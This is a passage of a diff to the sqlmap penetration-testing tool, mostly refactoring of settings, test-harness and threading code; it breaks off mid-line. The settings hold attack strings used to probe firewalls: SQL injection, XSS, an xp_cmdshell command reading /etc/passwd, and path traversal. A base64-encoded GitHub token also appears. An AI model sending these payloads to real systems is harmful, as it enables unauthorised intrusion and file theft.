 # Regular expression used for recognition of ASP.NET control parameters
 ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$"
@@ -411,10 +434,10 @@ IGNORE_SAVE_OPTIONS = ("saveConfig",)
 # IP address of the localhost
 LOCALHOST = "127.0.0.1"

-# Default port used by Tor
-DEFAULT_TOR_SOCKS_PORT = 9050
+# Default SOCKS ports used by Tor
+DEFAULT_TOR_SOCKS_PORTS = (9050, 9150)

-# Default ports used in Tor proxy bundles
+# Default HTTP ports used by Tor
 DEFAULT_TOR_HTTP_PORTS = (8123, 8118)

 # Percentage below which comparison engine could have problems
@@ -444,7 +467,7 @@ DUMMY_SQL_INJECTION_CHARS = ";()'"
 DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY)\b"

 # Extensions skipped by crawler
-CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jpeg", "image", "jar", "tif", "bmp", "war", "ear", "mpg", "mpeg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "mkv", "bin", "iso", "tar", "png", "pdf", "ps", "wav", "mp3", "mp4", "au", "aiff", "aac", "zip", "rar", "7z", "gz", "flv", "mov", "doc", "docx", "xls", "dot", "dotx", "xlt", "xlsx", "ppt", "pps", "pptx")
+CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx")

 # Patterns often seen in HTTP headers containing custom injection marking character
 PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
@@ -455,20 +478,20 @@ BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
 # Template used for common column existence check
 BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"

-# Payload used for checking of existence of IDS/WAF (dummier the better)
-IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd"
+# Payload used for checking of existence of IDS/IPS/WAF (dummier the better)
+IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"

 # Data inside shellcodeexec to be filled with random string
 SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"

-# Vectors used for provoking specific WAF/IDS/IPS behavior(s)
+# Vectors used for provoking specific WAF/IPS/IDS behavior(s)
 WAF_ATTACK_VECTORS = (
-                        "",  # NIL
-                        "search=<script>alert(1)</script>",
-                        "file=../../../../etc/passwd",
-                        "q=<invalid>foobar",
-                        "id=1 %s" % IDS_WAF_CHECK_PAYLOAD
-                     )
+    "",  # NIL
+    "search=<script>alert(1)</script>",
+    "file=../../../../etc/passwd",
+    "q=<invalid>foobar",
+    "id=1 %s" % IDS_WAF_CHECK_PAYLOAD
+)

 # Used for status representation in dictionary attack phase
 ROTATING_CHARS = ('\\', '|', '|', '/', '-')
@@ -482,26 +505,30 @@ SOCKET_PRE_CONNECT_QUEUE_SIZE = 3
 # Only console display last n table rows
 TRIM_STDOUT_DUMP_SIZE = 256

+# Reference: http://stackoverflow.com/a/3168436
+# Reference: https://support.microsoft.com/en-us/kb/899149
+DUMP_FILE_BUFFER_SIZE = 1024
+
 # Parse response headers only first couple of times
 PARSE_HEADERS_LIMIT = 3

 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
 ORDER_BY_STEP = 10

-# Maximum number of times for revalidation of a character in time-based injections
-MAX_TIME_REVALIDATION_STEPS = 5
+# Maximum number of times for revalidation of a character in inference (as required)
+MAX_REVALIDATION_STEPS = 5

 # Characters that can be used to split parameter values in provided command line (e.g. in --tamper)
-PARAMETER_SPLITTING_REGEX = r'[,|;]'
+PARAMETER_SPLITTING_REGEX = r"[,|;]"

 # Regular expression describing possible union char value (e.g. used in --union-char)
-UNION_CHAR_REGEX = r'\A\w+\Z'
+UNION_CHAR_REGEX = r"\A\w+\Z"

 # Attribute used for storing original parameter value in special cases (e.g. POST)
-UNENCODED_ORIGINAL_VALUE = 'original'
+UNENCODED_ORIGINAL_VALUE = "original"

 # Common column names containing usernames (used for hash cracking in some cases)
-COMMON_USER_COLUMNS = ('user', 'username', 'user_name', 'benutzername', 'benutzer', 'utilisateur', 'usager', 'consommateur', 'utente', 'utilizzatore', 'usufrutuario', 'korisnik', 'usuario', 'consumidor')
+COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "usufrutuario", "korisnik", "usuario", "consumidor", "client", "cuser")

 # Default delimiter in GET/POST values
 DEFAULT_GET_POST_DELIMITER = '&'
@@ -513,7 +540,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
 FORCE_COOKIE_EXPIRATION_TIME = "9999999999"

 # Github OAuth token used for creating an automatic Issue for unhandled exceptions
-GITHUB_REPORT_OAUTH_TOKEN = "YzNkYTgyMTdjYzdjNjZjMjFjMWE5ODI5OGQyNzk2ODM1M2M0MzUyOA=="
+GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ=="

 # Skip unforced HashDB flush requests below the threshold number of cached items
 HASHDB_FLUSH_THRESHOLD = 32
@@ -521,11 +548,14 @@ HASHDB_FLUSH_THRESHOLD = 32
 # Number of retries for unsuccessful HashDB flush attempts
 HASHDB_FLUSH_RETRIES = 3

+# Number of retries for unsuccessful HashDB retrieve attempts
+HASHDB_RETRIEVE_RETRIES = 3
+
 # Number of retries for unsuccessful HashDB end transaction attempts
 HASHDB_END_TRANSACTION_RETRIES = 3

 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
-HASHDB_MILESTONE_VALUE = "JHjrBugdDA"  # "".join(random.sample(string.ascii_letters, 10))
+HASHDB_MILESTONE_VALUE = "dPHoJRQYvs"  # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'

 # Warn user of possible delay due to large page dump in full UNION query injections
 LARGE_OUTPUT_THRESHOLD = 1024 ** 2
@@ -551,9 +581,15 @@ DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters)
 # Alphabet used for heuristic checks
 HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')

+# Minor artistic touch
+BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER)
+
 # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
 DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"

+# Regular expression used for recognition of file inclusion errors
+FI_ERROR_REGEX = "(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
+
 # Length of prefix and suffix used in non-SQLI heuristic checks
 NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6

@@ -561,7 +597,10 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
 MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024

 # Maximum response total page size (trimmed if larger)
-MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
+MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024
+
+# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
+MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024

 # Maximum (multi-threaded) length of entry in bisection algorithm
 MAX_BISECTION_LENGTH = 50 * 1024 * 1024
@@ -570,7 +609,7 @@ MAX_BISECTION_LENGTH = 50 * 1024 * 1024
 LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__"

 # Generic SQL comment formation
-GENERIC_SQL_COMMENT = "-- -"
+GENERIC_SQL_COMMENT = "-- [RANDSTR]"

 # Threshold value for turning back on time auto-adjustment mechanism
 VALID_TIME_CHARS_RUN_THRESHOLD = 100
@@ -579,7 +618,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
 CHECK_ZERO_COLUMNS_THRESHOLD = 10

 # Boldify all logger messages containing these "patterns"
-BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CloudFlare")
+BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA")

 # Generic www root directory names
 GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
@@ -591,7 +630,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100

 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to convert", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")

 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -641,6 +680,9 @@ SUHOSIN_MAX_VALUE_LENGTH = 512
 # Minimum size of an (binary) entry before it can be considered for dumping to disk
 MIN_BINARY_DISK_DUMP_SIZE = 100

+# Filenames of payloads xml files (in order of loading)
+PAYLOAD_XML_FILES = ("boolean_blind.xml", "error_based.xml", "inline_query.xml", "stacked_queries.xml", "time_blind.xml", "union_query.xml")
+
 # Regular expression used for extracting form tags
 FORM_SEARCH_REGEX = r"(?si)<form(?!.+<form).+?</form>"

@@ -672,7 +714,7 @@ BRUTE_DOC_ROOT_PREFIXES = {
 }

 # Suffixes used in brute force search for web server document root
-BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "data", "sites/all", "www/build")
+BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build")

 # String used for marking target name inside used brute force web server document root
 BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%"
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -21,6 +21,7 @@ from lib.core.common import intersect
 from lib.core.common import normalizeUnicode
 from lib.core.common import openFile
 from lib.core.common import paramToDict
+from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import resetCookieJar
 from lib.core.common import urldecode
@@ -35,6 +36,7 @@ from lib.core.dump import dumper
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.enums import PLACE
 from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapFilePathException
@@ -66,7 +68,6 @@ from lib.core.settings import URI_INJECTABLE_REGEX
 from lib.core.settings import USER_AGENT_ALIASES
 from lib.core.settings import XML_RECOGNITION_REGEX
 from lib.utils.hashdb import HashDB
-from lib.core.xmldump import dumper as xmldumper
 from thirdparty.odict.odict import OrderedDict

 def _setRequestParams():
@@ -214,9 +215,9 @@ def _setRequestParams():

    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (conf.data or "") and conf.url.startswith("http"):
        warnMsg = "you've provided target URL without any GET "
-        warnMsg += "parameters (e.g. www.site.com/article.php?id=1) "
+        warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
        warnMsg += "and without providing any POST parameters "
-        warnMsg += "through --data option"
+        warnMsg += "through option '--data'"
        logger.warn(warnMsg)

        message = "do you want to try URI injections "
@@ -370,7 +371,7 @@ def _setRequestParams():
        raise SqlmapGenericException(errMsg)

    if conf.csrfToken:
-        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
            errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
            errMsg += "found in provided GET, POST, Cookie or header values"
            raise SqlmapGenericException(errMsg)
@@ -451,7 +452,7 @@ def _resumeDBMS():
    dbms = value.lower()
    dbmsVersion = [UNKNOWN_DBMS_VERSION]
    _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
-    _ = re.search("%s ([\d\.]+)" % _, dbms, re.I)
+    _ = re.search(r"\A%s (.*)" % _, dbms, re.I)

    if _:
        dbms = _.group(1).lower()
@@ -531,7 +532,7 @@ def _setResultsFile():
        except (OSError, IOError), ex:
            try:
                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
-                conf.resultsFilename = tempfile.mkstemp(prefix="sqlmapresults-", suffix=".csv")[1]
+                conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")[1]
                conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
                warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
                logger.warn(warnMsg)
@@ -542,7 +543,7 @@ def _setResultsFile():
                errMsg += "create temporary files and/or directories"
                raise SqlmapSystemException(errMsg)

-        conf.resultsFP.writelines("Target URL,Place,Parameter,Techniques%s" % os.linesep)
+        conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)

        logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)

@@ -591,11 +592,7 @@ def _createDumpDir():
            conf.dumpPath = tempDir

 def _configureDumper():
-    if hasattr(conf, 'xmlFile') and conf.xmlFile:
-        conf.dumper = xmldumper
-    else:
-        conf.dumper = dumper
-
+    conf.dumper = dumper
    conf.dumper.setOutputFile()

 def _createTargetDirs():
@@ -603,28 +600,33 @@ def _createTargetDirs():
    Create the output directory.
    """

-    if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
-        try:
-            if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
-                os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
+    try:
+        if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
+            os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
+
+        _ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
+        open(_, "w+b").close()
+        os.remove(_)
+
+        if conf.outputDir:
            warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
            logger.warn(warnMsg)
-        except (OSError, IOError), ex:
-            try:
-                tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
-            except Exception, _:
-                errMsg = "unable to write to the temporary directory ('%s'). " % _
-                errMsg += "Please make sure that your disk is not full and "
-                errMsg += "that you have sufficient write permissions to "
-                errMsg += "create temporary files and/or directories"
-                raise SqlmapSystemException(errMsg)
+    except (OSError, IOError), ex:
+        try:
+            tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
+        except Exception, _:
+            errMsg = "unable to write to the temporary directory ('%s'). " % _
+            errMsg += "Please make sure that your disk is not full and "
+            errMsg += "that you have sufficient write permissions to "
+            errMsg += "create temporary files and/or directories"
+            raise SqlmapSystemException(errMsg)

-            warnMsg = "unable to create regular output directory "
-            warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
-            warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
-            logger.warn(warnMsg)
+        warnMsg = "unable to %s output directory " % ("create" if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the")
+        warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
+        warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
+        logger.warn(warnMsg)

-            paths.SQLMAP_OUTPUT_PATH = tempDir
+        paths.SQLMAP_OUTPUT_PATH = tempDir

    conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -25,6 +25,7 @@ from lib.core.common import readXmlFile
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.data import paths
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.log import LOGGER_HANDLER
@@ -40,6 +41,8 @@ class Failures(object):
    failedParseOn = None
    failedTraceBack = None

+_failures = Failures()
+
 def smokeTest():
    """
    Runs the basic smoke testing of a program
@@ -52,16 +55,17 @@ def smokeTest():
        if any(_ in root for _ in ("thirdparty", "extra")):
            continue

-        for ifile in files:
-            length += 1
+        for filename in files:
+            if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
+                length += 1

    for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
        if any(_ in root for _ in ("thirdparty", "extra")):
            continue

-        for ifile in files:
-            if os.path.splitext(ifile)[1].lower() == ".py" and ifile != "__init__.py":
-                path = os.path.join(root, os.path.splitext(ifile)[0])
+        for filename in files:
+            if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
+                path = os.path.join(root, os.path.splitext(filename)[0])
                path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
                path = path.replace(os.sep, '.').lstrip('.')
                try:
@@ -70,7 +74,7 @@ def smokeTest():
                except Exception, msg:
                    retVal = False
                    dataToStdout("\r")
-                    errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, ifile), msg)
+                    errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg)
                    logger.error(errMsg)
                else:
                    # Run doc tests
@@ -79,9 +83,9 @@ def smokeTest():
                    if failure_count > 0:
                        retVal = False

-            count += 1
-            status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
-            dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
+                count += 1
+                status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
+                dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))

    clearConsoleLine()
    if retVal:
@@ -191,11 +195,11 @@ def liveTest():
        else:
            errMsg = "test failed"

-            if Failures.failedItems:
-                errMsg += " at parsing items: %s" % ", ".join(i for i in Failures.failedItems)
+            if _failures.failedItems:
+                errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems)

            errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH
-            errMsg += " - traceback: %s" % bool(Failures.failedTraceBack)
+            errMsg += " - traceback: %s" % bool(_failures.failedTraceBack)

            if not vulnerable:
                errMsg += " - SQL injection not detected"
@@ -203,14 +207,14 @@ def liveTest():
            logger.error(errMsg)
            test_case_fd.write("%s\n" % errMsg)

-            if Failures.failedParseOn:
+            if _failures.failedParseOn:
                console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING)
-                console_output_fd.write(Failures.failedParseOn)
+                console_output_fd.write(_failures.failedParseOn)
                console_output_fd.close()

-            if Failures.failedTraceBack:
+            if _failures.failedTraceBack:
                traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING)
-                traceback_fd.write(Failures.failedTraceBack)
+                traceback_fd.write(_failures.failedTraceBack)
                traceback_fd.close()

            beep()
@@ -231,11 +235,11 @@ def liveTest():
    return retVal

 def initCase(switches, count):
-    Failures.failedItems = []
-    Failures.failedParseOn = None
-    Failures.failedTraceBack = None
+    _failures.failedItems = []
+    _failures.failedParseOn = None
+    _failures.failedTraceBack = None

-    paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="sqlmaptest-%d-" % count)
+    paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
    paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
    paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")

@@ -277,10 +281,10 @@ def runCase(parse):
        LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__

    if unhandled_exception:
-        Failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
+        _failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
        retVal = None
    elif handled_exception:
-        Failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
+        _failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
        retVal = None
    elif result is False:  # this means no SQL injection has been detected - if None, ignore
        retVal = False
@@ -297,17 +301,17 @@ def runCase(parse):
            if item.startswith("r'") and item.endswith("'"):
                if not re.search(item[2:-1], parse_on, re.DOTALL):
                    retVal = None
-                    Failures.failedItems.append(item)
+                    _failures.failedItems.append(item)

            elif item not in parse_on:
                retVal = None
-                Failures.failedItems.append(item)
+                _failures.failedItems.append(item)

-        if Failures.failedItems:
-            Failures.failedParseOn = console
+        if _failures.failedItems:
+            _failures.failedParseOn = console

    elif retVal is False:
-        Failures.failedParseOn = console
+        _failures.failedParseOn = console

    return retVal

@@ -1,17 +1,17 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

 import difflib
+import random
+import thread
 import threading
 import time
 import traceback

-from thread import error as ThreadError
-
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -19,6 +19,7 @@ from lib.core.datatype import AttribDict
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapThreadException
+from lib.core.exception import SqlmapUserQuitException
 from lib.core.exception import SqlmapValueException
 from lib.core.settings import MAX_NUMBER_OF_THREADS
 from lib.core.settings import PYVERSION
@@ -41,8 +42,10 @@ class _ThreadData(threading.local):
        self.disableStdOut = False
        self.hashDBCursor = None
        self.inTransaction = False
+        self.lastCode = None
        self.lastComparisonPage = None
        self.lastComparisonHeaders = None
+        self.lastComparisonCode = None
        self.lastErrorPage = None
        self.lastHTTPError = None
        self.lastRedirectMsg = None
@@ -51,10 +54,12 @@ class _ThreadData(threading.local):
        self.lastRequestMsg = None
        self.lastRequestUID = 0
        self.lastRedirectURL = None
+        self.random = random.WichmannHill()
        self.resumed = False
        self.retriesCount = 0
        self.seqMatcher = difflib.SequenceMatcher(None)
        self.shared = shared
+        self.validationRun = 0
        self.valueStack = []

 ThreadData = _ThreadData()
@@ -145,7 +150,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio

            try:
                thread.start()
-            except ThreadError, ex:
+            except thread.error, ex:
                errMsg = "error occurred while starting new thread ('%s')" % ex.message
                logger.critical(errMsg)
                break
@@ -161,13 +166,13 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
                    alive = True
                    time.sleep(0.1)

-    except KeyboardInterrupt:
+    except (KeyboardInterrupt, SqlmapUserQuitException), ex:
        print
        kb.threadContinue = False
        kb.threadException = True

        if numThreads > 1:
-            logger.info("waiting for threads to finish (Ctrl+C was pressed)")
+            logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
        try:
            while (threading.activeCount() > 1):
                pass
@@ -199,8 +204,11 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
        kb.threadException = False

        for lock in kb.locks.values():
-            if lock.locked_lock():
-                lock.release()
+            if lock.locked():
+                try:
+                    lock.release()
+                except thread.error:
+                    pass

        if conf.get("hashDB"):
            conf.hashDB.flush(True)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,17 +1,16 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

+import locale
 import os
 import re
+import subprocess
 import time

-from subprocess import PIPE
-from subprocess import Popen as execute
-
 from lib.core.common import dataToStdout
 from lib.core.common import getSafeExString
 from lib.core.common import pollProcess
@@ -30,7 +29,7 @@ def update():

    if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
        errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
-        errMsg += "from GitHub (e.g. 'git clone https://github.com/sqlmapproject/sqlmap.git sqlmap')"
+        errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
        logger.error(errMsg)
    else:
        infoMsg = "updating sqlmap to the latest development version from the "
@@ -43,7 +42,7 @@ def update():
        dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))

        try:
-            process = execute("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=PIPE, stderr=PIPE, cwd=paths.SQLMAP_ROOT_PATH)
